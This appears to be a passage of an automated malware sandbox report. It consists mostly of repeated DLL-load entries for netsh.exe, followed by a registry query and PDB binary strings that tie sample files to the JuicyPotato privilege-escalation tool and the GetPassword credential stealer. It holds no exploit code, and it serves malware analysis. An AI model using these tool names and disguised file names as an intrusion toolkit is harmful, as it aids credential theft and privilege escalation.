Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll

Source: C:\Windows\Temp\MpMgSvc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdbX+r+ d+_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Reader\4.0.2.0\System.Resources.Reader.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Primitives\4.0.1.0\System.Reflection.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Compression.ZipFile\4.0.3.0\System.IO.Compression.ZipFile.pdb( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Users\Administrator\source\repos\juicy-potato-master\JuicyPotato\Release\x64\JuicyPotato.pdb source: 38iGnQnL33.exe, 38iGnQnL33.exe, 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NameResolution\4.0.2.0\System.Net.NameResolution.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection\4.1.2.0\System.Reflection.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.InteropServices\4.1.2.0\System.Runtime.InteropServices.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\GetPassword-master\x64\Release\GetPassword.pdb source: MpMgSvc.exe, MpMgSvc.exe, 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Wmicc.exe, 0000003F.00000000.2300455511.0000000000424000.00000008.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem\4.0.3.0\System.IO.FileSystem.pdb8)R) D)_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Net.Http\netfx\System.Net.Http.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Diagnostics.StackTrace/netfx\System.Diagnostics.StackTrace.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Diagnostics.Tracing/netfx\System.Diagnostics.Tracing.pdb'MAM 3M_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.ResourceManager\4.0.1.0\System.Resources.ResourceManager.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Process\4.1.2.0\System.Diagnostics.Process.pdb* source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Debug\4.0.11.0\System.Diagnostics.Debug.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO\4.1.2.0\System.IO.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\workspace\_work\1\s\artifacts\obj\Microsoft.Diagnostics.Runtime\Release\net461\Microsoft.Diagnostics.Runtime.pdbSHA256O source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Csp\4.0.2.0\System.Security.Cryptography.Csp.pdb4)N) @)_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq\4.1.2.0\System.Linq.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Reflection.Metadata/net461-Release/System.Reflection.Metadata.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Drawing.Primitives\4.0.2.0\System.Drawing.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Data.Common/netfx\System.Data.Common.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.DriveInfo\4.0.2.0\System.IO.FileSystem.DriveInfo.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdbh) source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Writer\4.0.2.0\System.Resources.Writer.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdbTn `*_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.ThreadPool\4.0.12.0\System.Threading.ThreadPool.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Dll1\x64\Release\Dll_X64.pdb source: 38iGnQnL33.exe, 38iGnQnL33.exe, 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, MSSQLH.exe, 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmp, MSSQLH.exe, 00000001.00000000.1648605215.000000000042B000.00000008.00000001.01000000.00000004.sdmp, MSSQLH.exe, 00000001.00000003.1649123700.00000000005F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb\|( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Console\4.0.2.0\System.Console.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.EventBasedAsync\4.0.11.0\System.ComponentModel.EventBasedAsync.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdbSHA256> source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Primitives\4.0.1.0\System.Reflection.Primitives.pdb$> 0*_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.TraceSource\4.0.2.0\System.Diagnostics.TraceSource.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
